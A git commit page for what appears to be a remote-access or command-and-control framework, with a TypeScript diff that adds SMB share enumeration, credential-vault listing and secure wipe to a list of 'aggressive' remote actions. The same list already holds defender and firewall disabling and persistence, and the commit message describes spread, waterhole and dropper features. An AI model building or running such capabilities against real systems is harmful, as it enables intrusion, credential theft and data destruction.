feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
@@ -11,6 +11,9 @@ export const AGGRESSIVE_REMOTE_ACTIONS = [
|
||||
'tunnel_ssh_forward',
|
||||
'tunnel_stop',
|
||||
'subnet_scan',
|
||||
'smb_shares',
|
||||
'credential_vault_list',
|
||||
'secure_wipe',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
'firewall_off',
|
||||
@@ -32,7 +35,10 @@ export function canRunAggressiveAction(
|
||||
if (platform === 'darwin' && action === 'defender_off') return false;
|
||||
if (
|
||||
platform !== 'windows' &&
|
||||
(action.startsWith('firewall_') || action === 'bits_persist' || action === 'host_binary_persist')
|
||||
(action.startsWith('firewall_') ||
|
||||
action === 'bits_persist' ||
|
||||
action === 'host_binary_persist' ||
|
||||
action === 'smb_shares')
|
||||
) {
|
||||
return false;
|
||||
}
|
||||
@@ -49,6 +55,9 @@ export function canRunAggressiveAction(
|
||||
case 'tunnel_ssh_forward':
|
||||
case 'tunnel_stop':
|
||||
case 'subnet_scan':
|
||||
case 'smb_shares':
|
||||
case 'credential_vault_list':
|
||||
case 'secure_wipe':
|
||||
case 'defender_off':
|
||||
case 'firewall_punch':
|
||||
case 'firewall_off':
|
||||
@@ -82,6 +91,9 @@ export function aggressiveActionHint(
|
||||
if (platform !== 'windows' && action === 'host_binary_persist') {
|
||||
return 'Host binary hijack is Windows-only';
|
||||
}
|
||||
if (platform !== 'windows' && action === 'smb_shares') {
|
||||
return 'SMB share enumeration is Windows-only';
|
||||
}
|
||||
if (canRunAggressiveAction(action, caps, platform)) return undefined;
|
||||
switch (action) {
|
||||
case 'hole_punch':
|
||||
|
||||
Reference in New Issue
Block a user